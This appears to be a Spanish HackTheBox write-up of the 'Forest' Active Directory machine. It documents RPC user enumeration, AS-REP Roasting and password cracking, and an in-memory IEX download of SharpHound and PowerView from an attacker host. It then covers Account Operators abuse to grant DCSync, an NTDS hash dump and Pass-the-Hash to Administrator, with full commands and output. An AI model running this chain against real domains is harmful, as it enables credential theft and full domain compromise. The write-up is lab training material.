the_open_door
café
ESEN

Forest

HackTheBoxFácilWindows10.10.10.161

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#active-directory#as-rep-roasting#bloodhound#account-operators-abuse#writedacl#dcsync#pass-the-hash#winrm#kerberos
TL;DR. Forest es un controlador de dominio (htb.local) con la sesión nula lo bastante abierta como para enumerar usuarios por RPC. Uno de ellos, svc-alfresco, no exige preauth de Kerberos, así que un AS-REP Roasting devuelve su hash, que john rompe a s3rvice. Esa cuenta entra por WinRM. Con BloodHound vemos que svc-alfresco hereda los permisos de Account Operators: creamos un usuario, lo metemos en Exchange Windows Permissions (que tiene WriteDACL sobre el dominio), nos auto-otorgamos DCSync y volcamos el hash del Administrator. Un Pass-the-Hash cierra la máquina.

Reconocimiento

Ping

ping -c 1 10.10.10.161

ping -c 1 10.10.10.161 con una respuesta ttl=127

64 bytes from 10.10.10.161: icmp_seq=1 ttl=127 time=41.3 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.161 -oG scan

nmap -p- contra 10.10.10.161 descubriendo la batería de puertos de un controlador de dominio, incluidos los dinámicos por encima del 49000

la parte baja del mismo escaneo: LDAP, kpasswd5, ldapssl, globalcatLDAP, wsman, adws, winrm y una decena de puertos dinámicos por encima del 49000, todos con syn-ack ttl 127

Discovered open port 53/tcp on 10.10.10.161
Discovered open port 445/tcp on 10.10.10.161
Discovered open port 139/tcp on 10.10.10.161
Discovered open port 135/tcp on 10.10.10.161
Discovered open port 88/tcp on 10.10.10.161
Discovered open port 389/tcp on 10.10.10.161
Discovered open port 5985/tcp on 10.10.10.161
...
PORT      STATE SERVICE       REASON
53/tcp    open  domain        syn-ack ttl 127
88/tcp    open  kerberos-sec  syn-ack ttl 127
135/tcp   open  msrpc         syn-ack ttl 127
139/tcp   open  netbios-ssn   syn-ack ttl 127
389/tcp   open  ldap          syn-ack ttl 127
445/tcp   open  microsoft-ds  syn-ack ttl 127
464/tcp   open  kpasswd5      syn-ack ttl 127
593/tcp   open  http-rpc-epmap syn-ack ttl 127
636/tcp   open  ldapssl       syn-ack ttl 127
3268/tcp  open  globalcatLDAP syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman         syn-ack ttl 127
9389/tcp  open  adws          syn-ack ttl 127
47001/tcp open  winrm         syn-ack ttl 127
49664-49939/tcp open unknown  syn-ack ttl 127

extractPorts leyendo el fichero scan y devolviendo la IP 10.10.10.161 con la lista completa de puertos separada por comas

Extracting information...
IP Address: 10.10.10.161
Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49684,49703,49939

Ports copied to clipboard
nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49676,49677,49684,49703,49939 -sCV 10.10.10.161

nmap -sCV: Simple DNS Plus en el 53, Kerberos en el 88, Active Directory LDAP en htb.local, Windows Server 2016 Standard en el 445 y el bloque final con el clock-skew de 2h26m52s

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-08 13:12:49Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc        Microsoft Windows RPC
...
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|_  FQDN: FOREST.htb.local
| smb-security-mode:
|   account_used: guest
|_  message_signing: required
|_clock-skew: mean: 2h26m52s, deviation: 4h02m31s, median: 6m51s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Kerberos (88), LDAP (389/3268), DNS (53) y kpasswd (464) gritan dominio AD, y smb-os-discovery cierra la ficha sin necesidad de credenciales: Windows Server 2016 Standard, equipo FOREST, dominio y bosque htb.local. Los veintitantos puertos por encima del 49000 son el rango dinámico de RPC, no servicios distintos.

Dos apuntes que no conviene saltarse:

  • Message signing enabled and required: la firma SMB es obligatoria (lo normal en un DC), así que cualquier ataque de relay queda descartado de entrada.
  • clock-skew: median: 6m51s: casi siete minutos de desfase, y Kerberos solo tolera cinco. Todo lo que pida tickets fallará con KRB_AP_ERR_SKEW hasta que sincronicemos el reloj (ntpdate htb.local), un paso que más adelante aparece pegado al GetNPUsers precisamente por esto.

/etc/hosts con la línea 10.10.10.161 htb.local

10.10.10.161    htb.local

SMB: la sesión nula que no lista nada

crackmapexec smb 10.10.10.161

crackmapexec smb sin credenciales identificando el host FOREST, el dominio htb.local, Windows Server 2016 Standard 14393 x64 y signing:True

SMB  10.10.10.161  445  FOREST  [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
crackmapexec smb 10.10.10.161 -u '' -p '' --shares
smbclient -L 10.10.10.161 -N

crackmapexec con sesión nula acepta el login pero falla al listar recursos con STATUS_ACCESS_DENIED; smbclient -L -N dice "Anonymous login successful" y devuelve una tabla de recursos vacía

SMB  10.10.10.161  445  FOREST  [+] htb.local\:
SMB  10.10.10.161  445  FOREST  [-] Error enumerating shares: STATUS_ACCESS_DENIED

$ smbclient -L 10.10.10.161 -N
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.161 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Aquí hay un matiz que se pasa por alto a menudo: la sesión nula se acepta ([+] htb.local\: y Anonymous login successful), pero el listado de recursos está prohibido (STATUS_ACCESS_DENIED). Son dos permisos distintos, y que uno esté cerrado no significa que todos lo estén. Ese detalle es el que justifica seguir probando otros canales anónimos en vez de dar la enumeración por perdida.

DNS: dos consultas y una transferencia fallida

dig @10.10.10.161 htb.local mx
dig @10.10.10.161 htb.local ns

dig mx contra htb.local no devuelve ANSWER, solo la AUTHORITY con el SOA forest.htb.local; dig ns devuelve NS forest.htb.local con su registro A 10.10.10.161

;; QUESTION SECTION:
;htb.local.                     IN      MX

;; AUTHORITY SECTION:
htb.local.              3600    IN      SOA     forest.htb.local. hostmaster.htb.local. 108 900 600 86400 3600

;; QUESTION SECTION:
;htb.local.                     IN      NS

;; ANSWER SECTION:
htb.local.              3600    IN      NS      forest.htb.local.

;; ADDITIONAL SECTION:
forest.htb.local.       3600    IN      A       10.10.10.161

No hay MX (la sección ANSWER está vacía y solo responde el SOA), y el NS confirma lo que ya sabíamos: el propio DC es el servidor de nombres. Nada nuevo. El siguiente paso lógico es pedir la zona entera:

dig @10.10.10.161 htb.local axfr

dig axfr contra htb.local termina con "Transfer failed."

; <<>> DiG 9.20.4-4-Debian <<>> @10.10.10.161 htb.local axfr
; (1 server found)
;; global options: +cmd
; Transfer failed.

Transfer failed. La transferencia de zona está restringida, que es lo correcto. Se anota como vía descartada y se pasa al RPC.

RPC - usuarios del dominio por sesión nula

A diferencia del SMB, el RPC sí acepta la sesión nula y permite enumerar las cuentas del dominio:

rpcclient -U "" 10.10.10.161 -N
rpcclient $> enumdomusers

rpcclient con sesión nula enumera los usuarios del dominio htb.local, entre ellos svc-alfresco

rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d494284b0e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
user:[john] rid:[0x2581]
user:[jacob] rid:[0x2582]
user:[zach] rid:[0x2583]

La salida de rpcclient viene en un formato incómodo, user: seguido del nombre entre corchetes y su RID. Para dejar solo la lista de nombres, que es lo que van a comer las herramientas siguientes, basta una expresión regular:

echo 'user:...' | grep -Po '(?<=user:\[)[^\]]+'

el echo con la salida completa de enumdomusers pasada por grep -Po deja solo los nombres, uno por línea: Administrator, Guest, krbtgt, DefaultAccount, las cuentas SM_ y HealthMailbox, sebastien, lucinda, svc-alfresco, andy, mark, santi

Administrator
Guest
krbtgt
DefaultAccount
...
sebastien
lucinda
svc-alfresco
andy
mark
santi

Las cuentas SM_* y HealthMailbox* son de Exchange y no interesan; lo que queda son seis nombres de persona más el svc-alfresco, que por el prefijo svc- es una cuenta de servicio, justo el tipo de cuenta a la que se le suele desactivar la preautenticación de Kerberos.

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
...
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

Entre las cuentas aparece svc-alfresco. Se extrae la lista a un fichero para atacar con ella:

echo '<salida de enumdomusers>' | tr -d '[]' | awk -F ':' '{print $2}' | awk '{print $1}' > users.txt
cat users.txt

la salida de enumdomusers pasada por tr y awk deja un users.txt limpio con Administrator, Guest, krbtgt, las cuentas SM_ y HealthMailbox, sebastien, lucinda, svc-alfresco, andy, mark, santi, john, jacob y zach

Administrator
Guest
krbtgt
DefaultAccount
$331000-VK4ADACQNUCA
SM_2c8eef0a09b545acb
SM_ca8c2ed5bdab4dc9b
...
HealthMailboxc3d7722
...
sebastien
lucinda
svc-alfresco
andy
mark
santi

El grueso de la lista son cuentas de servicio de Exchange (SM_*, HealthMailbox*) que no valen de nada, pero da igual: el ataque siguiente se lanza contra todas y el KDC responderá solo por las que cumplan la condición.

Acceso como svc-alfresco

AS-REP Roasting

AS-REP Roasting busca cuentas con la opción "Do not require Kerberos preauthentication" activada. Para esas cuentas, el KDC entrega un TGT cifrado con la clave del usuario sin pedir nada a cambio, y ese material es crackeable offline. El ntpdate no es adorno: es lo que corrige el clock-skew que avisaba nmap.

sudo ntpdate htb.local
GetNPUsers.py htb.local/ -no-pass -usersfile users.txt

GetNPUsers obtiene un hash AS-REP (Kerberos 5 AS-REP etype 23) para la cuenta svc-alfresco

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User HealthMailboxc3d7722 doesn't have UF_DONT_REQUIRE_PREAUTH set
...
$krb5asrep$23$svc-alfresco@HTB.LOCAL:c7531ac53d1df0bdd21e70aaebc85314$0b52bdb926256dc18eae7b4f03818426...<SNIP>

De toda la lista, una sola cuenta muerde el anzuelo. El resto devuelve el mismo mensaje, que es la respuesta del KDC cuando la preautenticación sí es obligatoria. Lo crackeamos con john:

john --wordlist=rockyou.txt svc-alfresco.txt
john --show svc-alfresco.txt

john rompe el hash AS-REP de svc-alfresco y revela la contraseña s3rvice

Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 ...)
$krb5asrep$23$svc-alfresco@HTB.LOCAL:s3rvice
1 password hash cracked, 0 left

La contraseña es s3rvice. Toca comprobar dónde vale:

crackmapexec smb   10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

crackmapexec smb acepta svc-alfresco:s3rvice con el signo de exito pero SIN la marca (Pwn3d!)

SMB  10.10.10.161  445  FOREST  [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
SMB  10.10.10.161  445  FOREST  [+] htb.local\svc-alfresco:s3rvice

El [+] sin (Pwn3d!) es exactamente la distinción entre autenticar y poder ejecutar: las credenciales son válidas, pero svc-alfresco no es administrador local, así que por SMB no hay shell. En cambio:

crackmapexec winrm valida svc-alfresco:s3rvice y marca Pwn3d!, confirmando acceso por WinRM

WINRM  10.10.10.161  5985  FOREST  [+] htb.local\svc-alfresco:s3rvice (Pwn3d!)

Ahí sí aparece el (Pwn3d!), porque la cuenta pertenece al grupo Remote Management Users, que es lo que autoriza WinRM.

evil-winrm -u 'svc-alfresco' -p 's3rvice' -i 10.10.10.161

evil-winrm como svc-alfresco: acceso por WinRM y lectura de user.txt

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> type ..\Desktop\user.txt
6185d23b810764a3e2e95827a227f645

Shell como Administrator

BloodHound: el camino al dominio

El recolector no viene en Kali, así que primero hay que localizarlo. El repositorio oficial de SharpHound distribuye el binario en C#, pero para cargarlo en memoria desde PowerShell interesa la versión .ps1, que se encuentra en repositorios de terceros:

la búsqueda de "sharpound.ps1 github" devuelve la página oficial de SharpHound Community Edition y, debajo, el repositorio puckiestyle/powershell resaltado, que sí contiene el SharpHound.ps1

el repositorio puckiestyle/powershell en GitHub con SharpHound.ps1 seleccionado en el árbol y el botón Raw resaltado; el fichero define Invoke-BloodHound y carga el ingestor de C# por reflexión

function Invoke-BloodHound{
    .SYNOPSIS
        Runs the BloodHound C# Ingestor using reflection.
    .DESCRIPTION
        Using reflection and assembly.load, load the compiled BloodHound C# ingestor into memory
        and run it without touching disk.

Esa descripción explica por qué sirve este fichero y no el .exe: carga el ingestor por reflexión, sin tocar disco, que es exactamente lo que buscamos.

wget https://raw.githubusercontent.com/puckiestyle/powershell/refs/heads/master/SharpHound.ps1

el wget descarga los 951 KB de SharpHound.ps1 desde raw.githubusercontent.com

--2025-09-08 20:30:41--  https://raw.githubusercontent.com/puckiestyle/powershell/refs/heads/master/SharpHound.ps1
HTTP request sent, awaiting response ... 200 OK
Length: 973325 (951K) [text/plain]
2025-09-08 20:30:41 (22.9 MB/s) - 'SharpHound.ps1' saved [973325/973325]

El recolector se sube y se ejecuta en memoria, sin escribirlo a disco:

python3 -m http.server 80

python3 -m http.server 80 sirviendo el directorio donde está SharpHound.ps1

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
mkdir bh; cd bh
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All

evil-winrm creando el directorio bh, descargando SharpHound.ps1 en memoria con IEX y lanzando Invoke-BloodHound -CollectionMethod All

    Directory: C:\Users\svc-alfresco

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/10/2025  11:51 AM                bh
dir
download "C:\Users\svc-alfresco\bh\20250908114957_BloodHound.zip" data.zip

el dir del directorio bh muestra el 20250910120739_BloodHound.zip de 15316 bytes recién generado, junto al .bin de la caché

Mode    LastWriteTime          Length  Name
-a---   9/10/2025  12:07 PM     15316  20250910120739_BloodHound.zip
-a---   9/10/2025  12:09 PM     23725  MzZhZTZmYjktOTM4NS00NDQ3LTk3OGItMmEyYTVjZjNiYTYw.bin

evil-winrm descargando a la máquina atacante el fichero 20250908114957_BloodHound.zip generado por SharpHound

Info: Downloading C:\Users\svc-alfresco\bh\20250908114957_BloodHound.zip to data.zip

Info: Download successful!

Del lado del atacante, BloodHound necesita una base de datos Neo4j por debajo, que también hay que montar:

wget https://neo4j.com/artifact.php?name=neo4j-community-4.4.0-unix.tar.gz -O neo4j-4.4.0.tar.gz
gunzip neo4j-4.4.0.tar.gz
tar -xf neo4j-4.4.0.tar
cd neo4j-community-4.4.0/bin
./neo4j start

el wget descarga los 122 MB de neo4j-community-4.4.0, se descomprime con gunzip y tar, y ./neo4j start lo arranca en http://localhost:7474

Starting Neo4j.
Started neo4j (pid=98107). It is available at http://localhost:7474
There may be a short delay until the server is ready.

La primera conexión usa las credenciales por defecto neo4j:neo4j, y lo primero que hace el servidor es obligar a cambiarlas:

la pantalla Connect to Neo4j en localhost:7474 con la URL bolt://localhost:7687 y el usuario y contraseña neo4j rellenos

la pantalla de cambio de contraseña con la generada city-young-split-spoon-austin-5952 en los dos campos y el botón Change password resaltado

Con la base de datos lista, toca la interfaz. La edición Legacy es la que casa con el .zip que produce esta versión de SharpHound:

la página de releases de SpecterOps/BloodHound-Legacy con la versión 4.0.1 y el asset BloodHound-linux-x64.zip de 97,7 MB resaltado

mv /home/krmena/Downloads/BloodHound-linux-x64.zip .
unzip BloodHound-linux-x64.zip &>/dev/null
cd BloodHound-linux-x64

el mv del zip al directorio de exploits, el unzip silenciado y el cd al directorio extraído

./BloodHound --disable-gpu --no-sandbox

BloodHound arranca y pide las credenciales de Neo4j: bolt://localhost:7687 con el usuario neo4j y la contraseña generada city-young-split-spoon-austin-5952

(node:105413) DeprecationWarning: Buffer() is deprecated due to security and usability issues.
Please use the Buffer.from(), Buffer.alloc(), and Buffer.allocUnsafe() methods instead.

Ya dentro, el .zip se carga con Upload Data y la herramienta lo descomprime e ingiere fichero a fichero:

la interfaz de BloodHound con el botón Upload Data resaltado, el selector de ficheros sobre data.zip de 15,3 kB y el panel Upload Progress mostrando gpos.json, domains.json y computers.json al 100%

SharpHound (repo) genera un .zip con el grafo del dominio que se importa en BloodHound. Y el grafo deja la ruta a la vista: svc-alfresco, por una cadena de pertenencias (Service Accounts → Privileged IT Accounts → Account Operators), hereda los privilegios del grupo Account Operators.

BloodHound muestra la cadena MemberOf de svc-alfresco hasta Account Operators, con GenericAll y WriteDacl hacia el dominio

Esto es el corazón de la caja. Los miembros de Account Operators pueden crear y modificar cuentas del dominio (salvo sobre grupos protegidos). El grupo Exchange Windows Permissions, por su parte, tiene WriteDACL sobre el objeto de dominio. Encadenando ambas piezas: creamos un usuario, lo metemos en Exchange Windows Permissions y desde él reescribimos la DACL del dominio para concedernos los derechos de replicación (DCSync).

Abusar de Account Operators: crear y posicionar un usuario

net user jaime jaime123 /add /domain
net user jaime

net user jaime /add /domain devuelve "The command completed successfully" y el net user siguiente muestra la ficha del usuario recién creado, con Global Group memberships *Domain Users

*Evil-WinRM* PS C:\Users\svc-alfresco\bh> net user jaime jaime123 /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\bh> net user jaime
User name                    jaime
Account active               Yes
Account expires              Never
Password last set            9/10/2025 2:11:56 PM
Local Group Memberships
Global Group memberships     *Domain Users
The command completed successfully.

Que el comando funcione es la prueba de que svc-alfresco es (indirectamente) Account Operator: un usuario normal del dominio recibiría un Access is denied. El net user jaime de después confirma que la cuenta existe y que de momento solo pertenece a Domain Users.

net group "Exchange Windows Permissions" jaime /add
net user jaime

net group confirma que jaime se ha añadido a Exchange Windows Permissions

*Evil-WinRM* PS C:\Users\svc-alfresco\bh> net group "Exchange Windows Permissions" jaime /add
The command completed successfully.

el net user jaime posterior muestra ya "Exchange Windows Permissions" entre sus Global Group memberships, junto a *Domain Users

Global Group memberships     *Domain Users         *Exchange Windows Permissions
The command completed successfully.

La segunda captura es la verificación: jaime ya está en el grupo que tiene WriteDACL sobre el dominio. Sin ella, el resto de la cadena sería una suposición.

WriteDACL → conceder DCSync

La propia ficha de abuso de BloodHound da la receta:

PowerView forma parte de PowerSploit, y localizarlo es el paso previo:

la búsqueda de "PowerView.ps1 github" devuelve como resultado destacado PowerSploit - A PowerShell Post-Exploitation Framework

el fichero PowerView.ps1 dentro de PowerSploit/Recon en GitHub, con la ruta resaltada y el botón Raw; la cabecera lo firma Will Schroeder (@harmj0y) bajo licencia BSD 3-Clause

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1
python3 -m http.server 80

el wget descarga los 752 KB de PowerView.ps1 y a continuación se levanta el http.server en el puerto 80 para servirlo

Length: 770279 (752K) [text/plain]
2025-09-10 23:38:43 (20.1 MB/s) - 'PowerView.ps1' saved [770279/770279]

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

La pestaña de abuso de WriteDacl en BloodHound explicando cómo usar Add-DomainObjectAcl de PowerView con una PSCredential para concederse los derechos de DCSync

WINDOWS PERMISSIONS@HTB.LOCAL: If you are not running a process as a member,
you can use Add-DomainObjectAcl, optionally specifying $Cred if you are not already
running a process as [the user]

Con PowerView (repo) cargado en memoria y las credenciales de jaime, nos otorgamos los derechos DS-Replication-Get-Changes y -Get-Changes-All:

$SecPassword = ConvertTo-SecureString 'jaime123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\jaime', $SecPassword)
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/PowerView.ps1')
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jaime -Rights DCSync

El truco del -Credential es lo que evita tener que abrir una sesión nueva como jaime: se sigue ejecutando desde la shell de svc-alfresco, pero la modificación de la DACL se hace con la identidad de jaime, que es quien tiene el WriteDACL.

DCSync y Pass-the-Hash

secretsdump.py htb.local/jaime@10.10.10.161

el bloque de comandos de PowerView ejecutado en evil-winrm y, debajo, secretsdump volcando el NTDS: RemoteOperations falla con rpc_s_access_denied pero el método DRSUAPI sí extrae los hashes, incluido el del Administrator

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...

La línea [-] RemoteOperations failed: ... rpc_s_access_denied no es un error fatal, y merece explicarse: secretsdump intenta primero el método clásico (subir un servicio al DC y leer el registro), que requiere ser administrador local, y jaime no lo es. Al fallar cae al método DRSUAPI, que es el protocolo legítimo de replicación entre controladores de dominio, y ese sí funciona porque le acabamos de conceder los derechos. Es el DCSync: el DC nos entrega su base de datos creyendo que somos otro DC.

No hace falta crackear nada: con el hash NT del Administrator se hace Pass-the-Hash por WinRM.

crackmapexec smb 10.10.10.161 -u 'Administrator' -H "32693b11e6aa90eb43d32c72a07ceea6"
evil-winrm -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' -i 10.10.10.161

evil-winrm autenticado por Pass-the-Hash como Administrator lee la flag root.txt

SMB  10.10.10.161  445  FOREST  [+] htb.local\Administrator:32693b11e6aa90eb43d32c72a07ceea6 (Pwn3d!)

*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
17937d05b0c93969f9f5fbefab357d00

Cadena de ataque

RPC sesión nula (135) → enumdomusers → svc-alfresco
   └─ AS-REP Roasting (sin preauth) → john → s3rvice
        └─ WinRM (Remote Management Users)  ──►  svc-alfresco (user.txt)
             └─ BloodHound: svc-alfresco ∈ Account Operators
                  └─ crear usuario jaime + Exchange Windows Permissions (WriteDACL)
                       └─ Add-DomainObjectAcl → DCSync
                            └─ secretsdump (DRSUAPI) → hash Administrator
                                 └─ Pass-the-Hash (WinRM)  ──►  Administrator (root.txt)

Lecciones aprendidas

  • La sesión nula no siempre se cierra por igual. El SMB aceptaba el login anónimo pero devolvía STATUS_ACCESS_DENIED al listar recursos, mientras el RPC seguía soltando la lista completa de usuarios. Conviene probar varios canales (RPC, LDAP, SMB) antes de descartar la enumeración anónima.
  • [+] no es (Pwn3d!). Autenticar y poder ejecutar son cosas distintas; la diferencia entre el SMB y el WinRM de svc-alfresco es la pertenencia a Remote Management Users, y leerla bien ahorra tiempo.
  • AS-REP Roasting es gratis cuando alguien desactiva la preauth. No requiere credenciales previas, solo un nombre de usuario válido. La condición es que la cuenta tenga "Do not require Kerberos preauthentication"; no es lo habitual, pero cuando aparece, abre la puerta.
  • El reloj forma parte del ataque. Los casi siete minutos de clock-skew que reporta nmap bastan para que Kerberos rechace todo; el ntpdate previo no es un adorno del comando.
  • Account Operators es un grupo infravalorado. Poder crear usuarios y combinarlo con un grupo que tenga WriteDACL sobre el dominio (aquí Exchange Windows Permissions) escala a DCSync sin un solo exploit: solo ACEs mal repartidas que BloodHound encadena por ti.
  • DCSync convierte un permiso en compromiso total. Quien puede replicar el directorio puede leer todos los hashes, incluido el de krbtgt. Auditar quién tiene los derechos Replicating Directory Changes es defensa de primer orden.
Cheatsheet de comandos 17 comandos

Repaso rápido